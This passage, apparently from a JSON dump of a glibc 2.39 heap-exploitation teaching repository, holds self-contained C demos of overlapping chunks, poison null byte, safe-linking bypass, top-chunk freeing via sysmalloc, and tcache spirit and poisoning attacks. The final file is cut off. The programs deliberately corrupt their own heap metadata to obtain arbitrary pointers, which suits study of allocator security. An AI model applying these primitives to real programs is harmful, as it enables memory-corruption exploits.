    "content": "/*\n\n A simple tale of overlapping chunk.\n This technique is taken from\n http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main(int argc , char* argv[])\n{\n\tsetbuf(stdout, NULL);\n\n\tlong *p1,*p2,*p3,*p4;\n\tprintf(\"\\nThis is another simple chunks overlapping problem\\n\");\n\tprintf(\"The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\\n\"\n\t\t   \"which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\\n\"\n\t\t   \"and the prev_size of it must match the unsortedbin's size\\n\"\n\t\t   \"This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\\n\\n\");\n\n\tprintf(\"Let's start to allocate 4 chunks on the heap\\n\");\n\n\tp1 = malloc(0x80 - 8);\n\tp2 = malloc(0x500 - 8);\n\tp3 = malloc(0x80 - 8);\n\n\tprintf(\"The 3 chunks have been allocated here:\\np1=%p\\np2=%p\\np3=%p\\n\", p1, p2, p3);\n\n\tmemset(p1, '1', 0x80 - 8);\n\tmemset(p2, '2', 0x500 - 8);\n\tmemset(p3, '3', 0x80 - 8);\n\n\tprintf(\"Now let's simulate an overflow that can overwrite the size of the\\nchunk freed p2.\\n\");\n\tint evil_chunk_size = 0x581;\n\tint evil_region_size = 0x580 - 8;\n\tprintf(\"We are going to set the size of chunk p2 to to %d, which gives us\\na region size of %d\\n\",\n\t\t evil_chunk_size, evil_region_size);\n\n\t/* VULNERABILITY */\n\t*(p2-1) = evil_chunk_size; // we are overwriting the \"size\" field of chunk p2\n\t/* VULNERABILITY */\n\n\tprintf(\"\\nNow let's free the chunk p2\\n\");\n\tfree(p2);\n\tprintf(\"The chunk p2 is now in the unsorted bin ready to serve possible\\nnew malloc() of its size\\n\");\n\n\tprintf(\"\\nNow let's allocate another chunk with a size equal to the data\\n\"\n\t       \"size of the chunk p2 injected size\\n\");\n\tprintf(\"This malloc will be served from the previously freed chunk that\\n\"\n\t       \"is parked in the unsorted bin which size has been modified by us\\n\");\n\tp4 = malloc(evil_region_size);\n\n\tprintf(\"\\np4 has been allocated at %p and ends at %p\\n\", (char *)p4, (char *)p4+evil_region_size);\n\tprintf(\"p3 starts at %p and ends at %p\\n\", (char *)p3, (char *)p3+0x80-8);\n\tprintf(\"p4 should overlap with p3, in this case p4 includes all p3.\\n\");\n\n\tprintf(\"\\nNow everything copied inside chunk p4 can overwrites data on\\nchunk p3,\"\n\t\t   \" and data written to chunk p3 can overwrite data\\nstored in the p4 chunk.\\n\\n\");\n\n\tprintf(\"Let's run through an example. Right now, we have:\\n\");\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tprintf(\"\\nIf we memset(p4, '4', %d), we have:\\n\", evil_region_size);\n\tmemset(p4, '4', evil_region_size);\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tprintf(\"\\nAnd if we then memset(p3, '3', 80), we have:\\n\");\n\tmemset(p3, '3', 80);\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tassert(strstr((char *)p4, (char *)p3));\n}\n\n\n"
  },
  {
    "path": "glibc_2.39/poison_null_byte.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tputs(\"Welcome to poison null byte!\");\n\tputs(\"Tested in Ubuntu 20.04 64bit.\");\n\tputs(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\");\n\n\tputs(\"Some of the implementation details are borrowed from https://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/off_by_null.c\\n\");\n\n\t// step1: allocate padding\n\tputs(\"Step1: allocate a large padding so that the fake chunk's addresses's lowest 2nd byte is \\\\x00\");\n\tvoid *tmp = malloc(0x1);\n\tvoid *heap_base = (void *)((long)tmp & (~0xfff));\n\tprintf(\"heap address: %p\\n\", heap_base);\n\tsize_t size = 0x10000 - ((long)tmp&0xffff) - 0x20;\n\tprintf(\"Calculate padding chunk size: 0x%lx\\n\", size);\n\tputs(\"Allocate the padding. This is required to avoid a 4-bit bruteforce because we are going to overwrite least significant two bytes.\");\n\tvoid *padding= malloc(size);\n\n\t// step2: allocate prev chunk and victim chunk\n\tputs(\"\\nStep2: allocate two chunks adjacent to each other.\");\n\tputs(\"Let's call the first one 'prev' and the second one 'victim'.\");\n\tvoid *prev = malloc(0x500);\n\tvoid *victim = malloc(0x4f0);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\tprintf(\"prev chunk: malloc(0x500) = %p\\n\", prev);\n\tprintf(\"victim chunk: malloc(0x4f0) = %p\\n\", victim);\n\n\t// step3: link prev into largebin\n\tputs(\"\\nStep3: Link prev into largebin\");\n\tputs(\"This step is necessary for us to forge a fake chunk later\");\n\tputs(\"The fd_nextsize of prev and bk_nextsize of prev will be the fd and bck pointers of the fake chunk\");\n\tputs(\"allocate a chunk 'a' with size a little bit smaller than prev's\");\n\tvoid *a = malloc(0x4f0);\n\tprintf(\"a: malloc(0x4f0) = %p\\n\", a);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\tputs(\"allocate a chunk 'b' with size a little bit larger than prev's\");\n\tvoid *b = malloc(0x510);\n\tprintf(\"b: malloc(0x510) = %p\\n\", b);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\n\tputs(\"\\nCurrent Heap Layout\\n\"\n\t\t \"    ... ...\\n\"\n\t\t \"padding\\n\"\n\t\t \"    prev Chunk(addr=0x??0010, size=0x510)\\n\"\n     \t \"  victim Chunk(addr=0x??0520, size=0x500)\\n\"\n\t\t \" barrier Chunk(addr=0x??0a20, size=0x20)\\n\"\n\t\t \"       a Chunk(addr=0x??0a40, size=0x500)\\n\"\n\t\t \" barrier Chunk(addr=0x??0f40, size=0x20)\\n\"\n\t\t \"       b Chunk(addr=0x??0f60, size=0x520)\\n\"\n\t\t \" barrier Chunk(addr=0x??1480, size=0x20)\\n\");\n\n\tputs(\"Now free a, b, prev\");\n\tfree(a);\n\tfree(b);\n\tfree(prev);\n\tputs(\"current unsorted_bin:  header <-> [prev, size=0x510] <-> [b, size=0x520] <-> [a, size=0x500]\\n\");\n\n\tputs(\"Allocate a huge chunk to enable sorting\");\n\tmalloc(0x1000);\n\tputs(\"current large_bin:  header <-> [b, size=0x520] <-> [prev, size=0x510] <-> [a, size=0x500]\\n\");\n\n\tputs(\"This will add a, b and prev to largebin\\nNow prev is in largebin\");\n\tprintf(\"The fd_nextsize of prev points to a: %p\\n\", ((void **)prev)[2]+0x10);\n\tprintf(\"The bk_nextsize of prev points to b: %p\\n\", ((void **)prev)[3]+0x10);\n\n\t// step4: allocate prev again to construct fake chunk\n\tputs(\"\\nStep4: Allocate prev again to construct the fake chunk\");\n\tputs(\"Since large chunk is sorted by size and a's size is smaller than prev's,\");\n\tputs(\"we can allocate 0x500 as before to take prev out\");\n\tvoid *prev2 = malloc(0x500);\n\tprintf(\"prev2: malloc(0x500) = %p\\n\", prev2);\n\tputs(\"Now prev2 == prev, prev2->fd == prev2->fd_nextsize == a, and prev2->bk == prev2->bk_nextsize == b\");\n\tassert(prev == prev2);\n\n\tputs(\"The fake chunk is contained in prev and the size is smaller than prev's size by 0x10\");\n\tputs(\"So set its size to 0x501 (0x510-0x10 | flag)\");\n\t((long *)prev)[1] = 0x501;\n\tputs(\"And set its prev_size(next_chunk) to 0x500 to bypass the size==prev_size(next_chunk) check\");\n\t*(long *)(prev + 0x500) = 0x500;\n\tprintf(\"The fake chunk should be at: %p\\n\", prev + 0x10);\n\tputs(\"use prev's fd_nextsize & bk_nextsize as fake_chunk's fd & bk\");\n\tputs(\"Now we have fake_chunk->fd == a and fake_chunk->bk == b\");\n\n\t// step5: bypass unlinking\n\tputs(\"\\nStep5: Manipulate residual pointers to bypass unlinking later.\");\n\tputs(\"Take b out first by allocating 0x510\");\n\tvoid *b2 = malloc(0x510);\n\tprintf(\"Because of the residual pointers in b, b->fd points to a right now: %p\\n\", ((void **)b2)[0]+0x10);\n\tprintf(\"We can overwrite the least significant two bytes to make it our fake chunk.\\n\"\n\t\t\t\"If the lowest 2nd byte is not \\\\x00, we need to guess what to write now\\n\");\n\t((char*)b2)[0] = '\\x10';\n\t((char*)b2)[1] = '\\x00';  // b->fd <- fake_chunk\n\tprintf(\"After the overwrite, b->fd is: %p, which is the chunk pointer to our fake chunk\\n\", ((void **)b2)[0]);\n\n\tputs(\"To do the same to a, we can move it to unsorted bin first\"\n\t\t\t\"by taking it out from largebin and free it into unsortedbin\");\n\tvoid *a2 = malloc(0x4f0);\n\tfree(a2);\n\tputs(\"Now free victim into unsortedbin so that a->bck points to victim\");\n\tfree(victim);\n\tprintf(\"a->bck: %p, victim: %p\\n\", ((void **)a)[1], victim);\n\tputs(\"Again, we take a out and overwrite a->bck to fake chunk\");\n\tvoid *a3 = malloc(0x4f0);\n\t((char*)a3)[8] = '\\x10';\n\t((char*)a3)[9] = '\\x00';\n\tprintf(\"After the overwrite, a->bck is: %p, which is the chunk pointer to our fake chunk\\n\", ((void **)a3)[1]);\n\t// pass unlink_chunk in malloc.c:\n\t//      mchunkptr fd = p->fd;\n\t//      mchunkptr bk = p->bk;\n\t//      if (__builtin_expect (fd->bk != p || bk->fd != p, 0))\n\t//          malloc_printerr (\"corrupted double-linked list\");\n\tputs(\"And we have:\\n\"\n\t\t \"fake_chunk->fd->bk == a->bk == fake_chunk\\n\"\n\t\t \"fake_chunk->bk->fd == b->fd == fake_chunk\\n\"\n\t\t );\n\n\t// step6: add fake chunk into unsorted bin by off-by-null\n\tputs(\"\\nStep6: Use backward consolidation to add fake chunk into unsortedbin\");\n\tputs(\"Take victim out from unsortedbin\");\n\tvoid *victim2 = malloc(0x4f0);\n\tprintf(\"%p\\n\", victim2);\n\tputs(\"off-by-null into the size of vicim\");\n\t/* VULNERABILITY */\n\t((char *)victim2)[-8] = '\\x00';\n\t/* VULNERABILITY */\n\n\tputs(\"Now if we free victim, libc will think the fake chunk is a free chunk above victim\\n\"\n\t\t\t\"It will try to backward consolidate victim with our fake chunk by unlinking the fake chunk then\\n\"\n\t\t\t\"add the merged chunk into unsortedbin.\"\n\t\t\t);\n\tprintf(\"For our fake chunk, because of what we did in step4,\\n\"\n\t\t\t\"now P->fd->bk(%p) == P(%p), P->bk->fd(%p) == P(%p)\\n\"\n\t\t\t\"so the unlink will succeed\\n\", ((void **)a3)[1], prev, ((void **)b2)[0], prev);\n\tfree(victim);\n\tputs(\"After freeing the victim, the new merged chunk is added to unsorted bin\"\n\t\t\t\"And it is overlapped with the prev chunk\");\n\n\t// step7: validate the chunk overlapping\n\tputs(\"Now let's validate the chunk overlapping\");\n\tvoid *merged = malloc(0x100);\n\tprintf(\"merged: malloc(0x100) = %p\\n\", merged);\n\tmemset(merged, 'A', 0x80);\n\tprintf(\"Now merged's content: %s\\n\", (char *)merged);\n\n\tputs(\"Overwrite prev's content\");\n\tmemset(prev2, 'C', 0x80);\n\tprintf(\"merged's content has changed to: %s\\n\", (char *)merged);\n\n\tassert(strstr(merged, \"CCCCCCCCC\"));\n}\n"
  },
  {
    "path": "glibc_2.39/safe_link_double_protect.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\n/* \n * This method showcases a blind bypass for the safe-linking mitigation introduced in glibc 2.32. \n * https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41\n * \n * NOTE: This requires 4 bits of bruteforce if the primitive is a write primitive, as the LSB will  \n * contain 4 bits of randomness. If you can increment integers, no brutefore is required.\n *\n * Safe-Linking is a memory protection measure using ASLR randomness to fortify single-linked lists. \n * It obfuscates pointers and enforces alignment checks, to prevent pointer hijacking in t-cache.\n *\n * When an entry is linked in to the t-cache, the address is XOR'd with the address that free is \n * called on, shifted by 12 bits. However if you were to link this newly protected pointer, it\n * would be XOR'd again with the same key, effectively reverting the protection. \n * Thus, by simply protecting a pointer twice we effectively achieve the following:\n *\t\n *                                  (ptr^key)^key = ptr\n *\n * The technique requires control over the t-cache metadata, so pairing it with a technique such as\n * house of water might be favourable.\n *\n * Technique by @udp_ctf - Water Paddler / Blue Water \n */\n\nint main(void) {\n\t// Prevent _IO_FILE from buffering in the heap\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\tsetbuf(stderr, NULL);\n\n\t// Create the goal stack buffer\n\tchar goal[] = \"Replace me!\";\n\tputs(\"============================================================\");\n\tprintf(\"Our goal is to write to the stack variable @ %p\\n\", goal);\n\tprintf(\"String contains: %s\\n\", goal);\n\tputs(\"============================================================\");\n\tputs(\"\\n\");\n\n\t// Step 1: Allocate\n\tputs(\"Allocate two chunks in two different t-caches:\");\n\t\n\t// Allocate two chunks of size 0x38 for 0x40 t-cache\n\tputs(\"\\t- 0x40 chunks:\");\n\tvoid *a = malloc(0x38);\n\tvoid *b = malloc(0x38);\n\tprintf(\"\\t\\t* Entry a @ %p\\n\", a);\n\tprintf(\"\\t\\t* Entry b @ %p\\n\", b);\n\n\t// Allocate two chunks of size 0x18 for 0x20 t-cache\n\tvoid *c = malloc(0x18);\n\tvoid *d = malloc(0x18);\n\tputs(\"\\t- 0x20 chunks:\");\n\tprintf(\"\\t\\t* Entry c @ %p\\n\", c);\n\tprintf(\"\\t\\t* Entry d @ %p\\n\", d);\n\tputs(\"\");\n\n\t// Step 2: Write an arbitrary value (or note the offset to an exsisting value)\n\tputs(\"Allocate a pointer which will contain a pointer to the stack variable:\");\n\n\t// Allocate a chunk and store a modified pointer to the 'goal' array.\n\tvoid *value = malloc(0x28);\n\t// make sure that the pointer ends on 0 for proper heap alignemnt or a fault will occur\n\t*(long *)value = ((long)(goal) & ~(0xf));\n\n\tprintf(\"\\t* Arbitrary value (0x%lx) written to %p\\n\", *(long*)value, value);\n\tputs(\"\");\n\n\t// Step 3: Free the two chunks in the two t-caches to make two t-cache entries in two different caches\n\tputs(\"Free the 0x40 and 0x20 chunks to populate the t-caches\");\n\n\tputs(\"\\t- Free 0x40 chunks:\");\n\t// Free the allocated 0x38 chunks to populate the 0x40 t-cache\n\tfree(a);\n\tfree(b);\n\tprintf(\"\\t\\t> 0x40 t-cache: [%p -> %p]\\n\", b, a);\n\n\tputs(\"\\t- Free the 0x20 chunks\");\n\t// Free the allocated 0x18 chunks to populate the 0x20 t-cache\n\tfree(c);\n\tfree(d);\n\tprintf(\"\\t\\t> 0x20 t-cache: [%p -> %p]\\n\", d, c);\n\tputs(\"\");\n\n\t// Step 4: Using our t-cache metadata control primitive, we will now execute the vulnerability\n\tputs(\"Modify the 0x40 t-cache pointer to point to the heap value that holds our arbitrary value, \");\n\tputs(\"by overwriting the LSB of the pointer for 0x40 in the t-cache metadata:\");\n\t\n\t// Calculate the address of the t-cache metadata\n\tvoid *metadata = (void *)((long)(value) & ~(0xfff));\n\n\t// Overwrite the LSB of the 0x40 t-cache chunk to point to the heap chunk containing the arbitrary value\n\t*(unsigned int*)(metadata+0xa0) = (long)(metadata)+((long)(value) & (0xfff));\n\n\tprintf(\"\\t\\t> 0x40 t-cache: [%p -> 0x%lx]\\n\", value, (*(long*)value)^((long)metadata>>12));\n\tputs(\"\");\n\n\tputs(\"Allocate once to make the protected pointer the current entry in the 0x40 bin:\");\n\tvoid *_ = malloc(0x38);\n\tprintf(\"\\t\\t> 0x40 t-cache: [0x%lx]\\n\", *(unsigned long*)(metadata+0xa0));\n\tputs(\"\");\n\n\t/* VULNERABILITY */\t\n\tputs(\"Point the 0x20 bin to the 0x40 bin in the t-cache metadata, containing the newly safe-linked value:\");\n\t*(unsigned int*)(metadata+0x90) = (long)(metadata)+0xa0;\n\tprintf(\"\\t\\t> 0x20 t-cache: [0x%lx -> 0x%lx]\\n\", (long)(metadata)+0xa0, *(long*)value);\n\tputs(\"\");\n\t/* VULNERABILITY */\t\n\n\t// Step 5: Allocate twice to allocate the arbitrary value\n\tputs(\"Allocate twice to gain a pointer to our arbitrary value\");\n\t\n\t_ = malloc(0x18);\n\tprintf(\"\\t\\t> First  0x20 allocation: %p\\n\", _);\n\t\n\tchar *vuln = malloc(0x18);\n\tprintf(\"\\t\\t> Second 0x20 allocation: %p\\n\", vuln);\n\tputs(\"\");\n\n\t// Step 6: Overwrite the goal string pointer and verify it has been changed\n\tstrcpy(vuln, \"XXXXXXXXXXX HIJACKED!\");\n\n\tprintf(\"String now contains: %s\\n\", goal);\t\n\tassert(strcmp(goal, \"Replace me!\") != 0);\n}\n"
  },
  {
    "path": "glibc_2.39/sysmalloc_int_free.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n// same for x86_64 and x86\n#define MALLOC_ALIGN 0x10\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// target top chunk size that should be freed\n#define CHUNK_FREED_SIZE 0x150\n#define FREED_SIZE (CHUNK_FREED_SIZE-CHUNK_HDR_SZ)\n\n/**\n * Tested on:\n *  + GLIBC 2.39 (x86_64, x86 & aarch64)\n *  + GLIBC 2.34 (x86_64, x86 & aarch64)\n *  + GLIBC 2.31 (x86_64, x86 & aarch64)\n *  + GLIBC 2.27 (x86_64, x86 & aarch64)\n *\n * sysmalloc allows us to free() the top chunk of heap to create nearly arbitrary bins,\n * which can be used to corrupt heap without needing to call free() directly.\n * This is achieved through sysmalloc calling _int_free to the top_chunk (wilderness),\n * if the top_chunk can't be merged during heap growth\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * This technique is used in House of Orange & Tangerine\n */\nint main() {\n  size_t allocated_size, *top_size_ptr, top_size, new_top_size, freed_top_size, *new, *old;\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_FREED_SIZE & MALLOC_MASK) == CHUNK_FREED_SIZE);\n\n  puts(\"Constants:\");\n  printf(\"chunk header \\t\\t= 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align \\t\\t= 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align \\t\\t= 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size \\t\\t= 0x%lx\\n\", FENCEPOST);\n  printf(\"freed size \\t\\t= 0x%lx\\n\", FREED_SIZE);\n\n  printf(\"target top chunk size \\t= 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_FREED_SIZE);\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  new = malloc(PROBE);\n  top_size = new[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size \\t\\t= 0x%lx\\n\", top_size);\n\n  // calculate allocated_size\n  allocated_size = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_FREED_SIZE;\n  allocated_size &= PAGE_MASK;\n  allocated_size &= MALLOC_MASK;\n\n  printf(\"allocated size \\t\\t= 0x%lx\\n\\n\", allocated_size);\n\n  puts(\"1. create initial malloc that will be used to corrupt the top_chunk (wilderness)\");\n  new = malloc(allocated_size);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &new[(allocated_size / SIZE_SZ)-1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- initial malloc\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|      SIZE (0x%05lx)   |\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         top_size - 1,\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n  puts(\"2. corrupt the size of top chunk to be less, but still page aligned\");\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  *top_size_ptr = new_top_size;\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |   <- positive OOB (i.e. BOF)\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         TOP           |   <- corrupt size of top chunk (wilderness)\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|         ...           |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         new_top_size - 1,\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n\n  puts(\"3. create an allocation larger than the remaining top chunk, to trigger heap growth\");\n  puts(\"The now corrupt top_chunk triggers sysmalloc to call _init_free on it\");\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_FREED_SIZE);\n\n  old = new;\n  new = malloc(CHUNK_FREED_SIZE + 0x10);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          OLD          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         FREED         |   <- old top got freed because it couldn't be merged\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|       FENCEPOST       |   <- just some architecture depending padding\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          NEW          |   <- new malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\\n\",\n         old - 2,\n         top_size_ptr - 1,\n         freed_top_size,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE/SIZE_SZ),\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         new - (MALLOC_ALIGN / SIZE_SZ));\n\n  puts(\"...\\n\");\n\n  puts(\"?. reallocated into the freed chunk\");\n\n  old = new;\n  new = malloc(FREED_SIZE);\n\n  assert((size_t) old > (size_t) new);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- allocated into the freed chunk\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          OLD          |   <- old malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\",\n         new - 2,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE / SIZE_SZ),\n         old - (MALLOC_ALIGN / SIZE_SZ));\n}\n"
  },
  {
    "path": "glibc_2.39/tcache_house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates the house of spirit attack on tcache.\\n\");\n\tprintf(\"It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\\n\");\n\tprintf(\"You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\\n\");\n\tprintf(\"(Search for strings \\\"invalid next size\\\" and \\\"double free or corruption\\\")\\n\\n\");\n\n\tprintf(\"Ok. Let's start with the example!.\\n\\n\");\n\n\n\tprintf(\"Calling malloc() once so that it sets up its memory.\\n\");\n\tmalloc(1);\n\n\tprintf(\"Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\\n\");\n\tunsigned long long *a; //pointer that will be overwritten\n\tunsigned long long fake_chunks[10] __attribute__((aligned(0x10))); //fake chunk region\n\n\tprintf(\"This region contains one fake chunk. It's size field is placed at %p\\n\", &fake_chunks[1]);\n\n\tprintf(\"This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tprintf(\"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \\n\");\n\tfake_chunks[1] = 0x40; // this is the size\n\n\n\tprintf(\"Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\\n\", &fake_chunks[1]);\n\tprintf(\"... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\\n\");\n\n\ta = &fake_chunks[2];\n\n\tprintf(\"Freeing the overwritten pointer.\\n\");\n\tfree(a);\n\n\tprintf(\"Now the next malloc will return the region of our fake chunk at %p, which will be %p!\\n\", &fake_chunks[1], &fake_chunks[2]);\n\tvoid *b = malloc(0x30);\n\tprintf(\"malloc(0x30): %p\\n\", b);\n\n\tassert((long)b == (long)&fake_chunks[2]);\n}\n"
  },
  {
    "path": "glibc_2.39/tcache_metadata_poisoning.c",
    "content": "#include <assert.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n// Tcache metadata poisoning attack\n// ================================\n//\n// By controlling the metadata of the tcache an attacker can insert malicious\n// pointers into the tcache bins. This pointer then can be easily accessed by\n// allocating a chunk of the appropriate size.\n\n// By default there are 64 tcache bins\n#define TCACHE_BINS 64\n// The header of a heap chunk is 0x10 bytes in size\n#define HEADER_SIZE 0x10\n\n// This is the `tcache_perthread_struct` (or the tcache metadata)\nstruct tcache_metadata {\n  uint16_t counts[TCACHE_BINS];\n  void *entries[TCACHE_BINS];\n};\n\nint main() {\n  // Disable buffering\n  setbuf(stdin, NULL);\n  setbuf(stdout, NULL);\n\n  uint64_t stack_target = 0x1337;\n\n  puts(\"This example demonstrates what an attacker can achieve by controlling\\n\"\n       \"the metadata chunk of the tcache.\\n\");\n  puts(\"First we have to allocate a chunk to initialize the stack. This chunk\\n\"\n       \"will also serve as the relative offset to calculate the base of the\\n\"\n       \"metadata chunk.\");\n  uint64_t *victim = malloc(0x10);\n  printf(\"Victim chunk is at: %p.\\n\\n\", victim);\n\n  long metadata_size = sizeof(struct tcache_metadata);\n  printf(\"Next we have to calculate the base address of the metadata struct.\\n\"\n         \"The metadata struct itself is %#lx bytes in size. Additionally we\\n\"\n         \"have to subtract the header of the victim chunk (so an extra 0x10\\n\"\n         \"bytes).\\n\",\n         sizeof(struct tcache_metadata));\n  struct tcache_metadata *metadata =\n      (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size);\n  printf(\"The tcache metadata is located at %p.\\n\\n\", metadata);\n\n  puts(\"Now we manipulate the metadata struct and insert the target address\\n\"\n       \"in a chunk. Here we choose the second tcache bin.\\n\");\n  metadata->counts[1] = 1;\n  metadata->entries[1] = &stack_target;\n\n  uint64_t *evil = malloc(0x20);\n  printf(\"Lastly we malloc a chunk of size 0x20, which corresponds to the\\n\"\n         \"second tcache bin. The returned pointer is %p.\\n\",\n         evil);\n  assert(evil == &stack_target);\n}\n"
  },
  {
    "path": "glibc_2.39/tcache_poisoning.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main()\n{\n\t// disable buffering\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates a simple tcache poisoning attack by tricking malloc into\\n\"\n\t\t   \"returning a pointer to an arbitrary location (in this case, the stack).\\n\"\n\t\t   \"The attack is very similar to fastbin corruption attack.\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n\"\n\t\t   \"We have to create and free one more chunk for padding before fd pointer hijacking.\\n\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\\n\"\n\t\t   \"An heap address leak is needed to perform tcache poisoning.\\n\"\n\t\t   \"The same patch also ensures the chunk returned by tcache is properly aligned.\\n\\n\");\n\n\tsize_t stack_var[0x10];\n\tsize_t *target = NULL;\n\n\t// choose a properly aligned target address\n\tfor(int i=0; i<0x10; i++) {\n\t\tif(((long)&stack_var[i] & 0xf) == 0) {\n\t\t\ttarget = &stack_var[i];\n\t\t\tbreak;\n\t\t}\n\t}\n\tassert(target != NULL);\n\n\tprintf(\"The address we 